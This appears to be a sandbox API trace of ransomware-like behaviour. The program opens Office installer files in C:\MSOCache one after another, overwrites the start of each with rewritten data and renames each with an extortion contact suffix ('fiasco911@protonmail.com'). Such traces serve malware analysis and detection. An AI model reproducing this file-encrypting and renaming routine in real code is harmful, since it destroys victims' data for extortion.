[0054.570] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0054.571] GetProcessHeap () returned 0x2e0000
[0054.571] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0054.571] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0054.574] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0054.574] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0054.574] GetProcessHeap () returned 0x2e0000
[0054.574] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0054.574] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0054.575] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0054.577] CloseHandle (hObject=0x10c) returned 1
[0054.578] GetProcessHeap () returned 0x2e0000
[0054.578] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0054.578] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0054.578] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0054.578] GetProcessHeap () returned 0x2e0000
[0054.578] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0054.578] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1
[0054.578] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 78
[0054.578] StrStrIW (lpFirst="PidGenX.dll", lpSrch="SDfghjkl") returned 0x0
[0054.578] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0054.578] GetProcessHeap () returned 0x2e0000
[0054.578] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0054.578] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0054.580] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0054.581] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0054.581] GetProcessHeap () returned 0x2e0000
[0054.581] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0054.581] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0054.581] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0054.583] CloseHandle (hObject=0x10c) returned 1
[0054.583] GetProcessHeap () returned 0x2e0000
[0054.583] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0054.583] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 120
[0054.583] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0054.584] GetProcessHeap () returned 0x2e0000
[0054.584] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0054.584] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1
[0054.584] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 91
[0054.584] StrStrIW (lpFirst="pkeyconfig-office.xrm-ms", lpSrch="SDfghjkl") returned 0x0
[0054.584] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0055.568] GetProcessHeap () returned 0x2e0000
[0055.568] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0055.568] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0055.577] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0055.577] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0055.577] GetProcessHeap () returned 0x2e0000
[0055.577] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0055.577] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0055.578] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0055.579] CloseHandle (hObject=0x10c) returned 1
[0055.580] GetProcessHeap () returned 0x2e0000
[0055.580] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0055.580] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 133
[0055.580] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0055.580] GetProcessHeap () returned 0x2e0000
[0055.580] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0055.580] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.msi", cAlternateFileName="PRJPRO~1.MSI")) returned 1
[0055.580] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 80
[0055.580] StrStrIW (lpFirst="PrjProrWW.msi", lpSrch="SDfghjkl") returned 0x0
[0055.581] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0055.581] GetProcessHeap () returned 0x2e0000
[0055.581] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0055.581] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0055.583] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0055.583] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0055.583] GetProcessHeap () returned 0x2e0000
[0055.584] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0055.584] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0055.584] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0055.586] CloseHandle (hObject=0x10c) returned 1
[0055.586] GetProcessHeap () returned 0x2e0000
[0055.586] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0055.586] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 122
[0055.586] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0055.587] GetProcessHeap () returned 0x2e0000
[0055.587] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0055.587] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.xml", cAlternateFileName="PRJPRO~1.XML")) returned 1
[0055.587] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 80
[0055.587] StrStrIW (lpFirst="PrjProrWW.xml", lpSrch="SDfghjkl") returned 0x0
[0055.587] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0055.587] GetProcessHeap () returned 0x2e0000
[0055.587] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0055.588] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x1915, lpOverlapped=0x0) returned 1
[0055.589] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffe6eb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0055.589] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x1915, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x1915, lpOverlapped=0x0) returned 1
[0055.589] GetProcessHeap () returned 0x2e0000
[0055.589] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0055.589] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0055.589] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0055.589] CloseHandle (hObject=0x10c) returned 1
[0055.590] GetProcessHeap () returned 0x2e0000
[0055.590] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0055.590] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 122
[0055.590] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0055.590] GetProcessHeap () returned 0x2e0000
[0055.590] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0055.590] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1
[0055.590] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 79
[0055.590] StrStrIW (lpFirst="PrjPrrWW.cab", lpSrch="SDfghjkl") returned 0x0
[0055.590] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0055.590] GetProcessHeap () returned 0x2e0000
[0055.591] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0055.591] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0055.596] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0055.596] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0055.597] GetProcessHeap () returned 0x2e0000
[0055.597] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0055.597] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0055.597] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0055.600] CloseHandle (hObject=0x10c) returned 1
[0055.600] GetProcessHeap () returned 0x2e0000
[0055.600] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0055.600] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0055.600] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0055.600] GetProcessHeap () returned 0x2e0000
[0055.601] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0055.601] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1
[0055.601] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 76
[0055.601] StrStrIW (lpFirst="setup.exe", lpSrch="SDfghjkl") returned 0x0
[0055.601] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0055.601] GetProcessHeap () returned 0x2e0000
[0055.601] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0055.601] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0055.603] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0055.603] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0055.603] GetProcessHeap () returned 0x2e0000
[0055.603] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0055.603] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0055.604] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0055.605] CloseHandle (hObject=0x10c) returned 1
[0055.606] GetProcessHeap () returned 0x2e0000
[0055.606] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0055.606] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0055.606] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0055.606] GetProcessHeap () returned 0x2e0000
[0055.606] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
